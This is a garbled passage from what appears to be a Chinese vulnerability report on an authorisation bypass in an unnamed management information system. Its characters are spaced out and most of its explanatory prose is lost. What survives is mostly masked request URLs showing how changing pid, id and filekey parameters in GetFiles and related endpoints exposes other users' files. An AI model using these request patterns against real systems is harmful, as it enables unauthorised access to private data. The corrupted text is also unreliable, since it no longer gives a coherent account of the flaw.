[2187] 2020-10-27_某管理信息系统存在全局越权漏洞

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最后更新:2025-01-16
2020-10-27_某管理信息系统存在全局越权漏洞     E D I   2 0 2 0 - 1 0 - 2 7   ·     0 1 0 2 0 3 0 4 h t t p : / / x x . x x . x x . x x / 0 5 A A   a a a a a a / c e s h i 1 2 3 p i d 0 x 0 1 h t t p : / / w w w . x x x . o r g . c n / x x x / P r o j e c t / P r o j e c t N e w . a s p x ? p i d = 2 0 2 0 0 5 2 7 1 5 2 3 5 8 & p n a m e = w e r w e r & p a c t i o n = v i e w
i d f i l e k e y ( ) B 0 x 0 2 h t t p : / / x x . x x . x x . x x / A d m i n / L i s t F i l e s V i e w ? a p p = x x x x x & s e r i a l n o = w o r k u n i t & f i l e t r e e = w o r k u n i t & i d = 2 1 2 3 1 6 5 3 5 4 8 4 5 7 9 8 4 & s t e p i d = 0 & o p e r a t e i d = 0 & r e m a r k = h t t p : / / x x . x x . x x . x x / A P I / R P C / G e t F i l e s ? a p p = x x x x x & p a g e I n d e x = 1 & p a g e S i z e = 1 0 0 0 & t r e e K e y = w o r k u n i t & f i l e n a m e = & s e r i a l N o = w o r k u n i t & f i l e k e y = 2 1 2 3 1 6 5 3 5 4 8 4 5 7 9 8 4 & s t e p I d = 0 & o p e r a t e I d = 0 & G D C I C S I D _ G D J S B Z = 2 f d 3 1 5 a 0 a 9 5 b 1 3 2 2 0 d 0 d 3 5 2 a 4 0 6 6 c 5 f 0 & S S O C O O K I E N A M E = l l _ f r o m = _ = 1 5 9 5 7 6 4 4 3 0 0 0 9 0 x 0 3 h t t p : / / x x . x x . x x x / A P I / R P C / G e t F i l e s C o u n t ? a p p = & t r e e K e y = w o r k u n i t & f i l e n a m e = & s e r i a l N o = w o r k u n i t & f i l e k e y = 2 1 2 3 1 6 5 3 5 4 8 4 5 7 9 8 4 & s t e p I d = 0 & o p e r a t e I d = 0 & = d e 1 a 6 f b 2 f f 3 8 0 4 d 0 1 0 d a e 3 e 8 b c f 3 0 7 0 6 & S S O C O O K I E N A M E = & c a l l _ f r o m = j s s d k & _ = 1 5 9 5 7 6 6 4 0 5 2 4 1
使 p i d i d 0 6 / / 0 7 P S E D I h t t p : / / x x . x x . x x . x x / A P I / R P C / G e t F i l e s ? a p p = & p a g e I n d e x = 1 & p a g e S i z e = 1 0 0 0 & t r e e K e y = w o r k u n i t & f i l e n a m e = & s e r i a l N o = w o r k u n i t & f i l e k e y = 2 1 2 3 1 6 5 3 5 4 8 4 5 7 9 8 4 & s t e p I d = 0 & o p e r a t e I d = 0 & = 2 f d 3 1 5 a 0 a 9 5 b 1 3 2 2 0 d 0 d 3 5 2 a 4 0 6 6 c 5 f 0 & S S O C O O K I E N A M E = & c a l l _ f r o m = j s s d k & _ = 1 5 9 5 7 6 4 4 3 0 0 0 9

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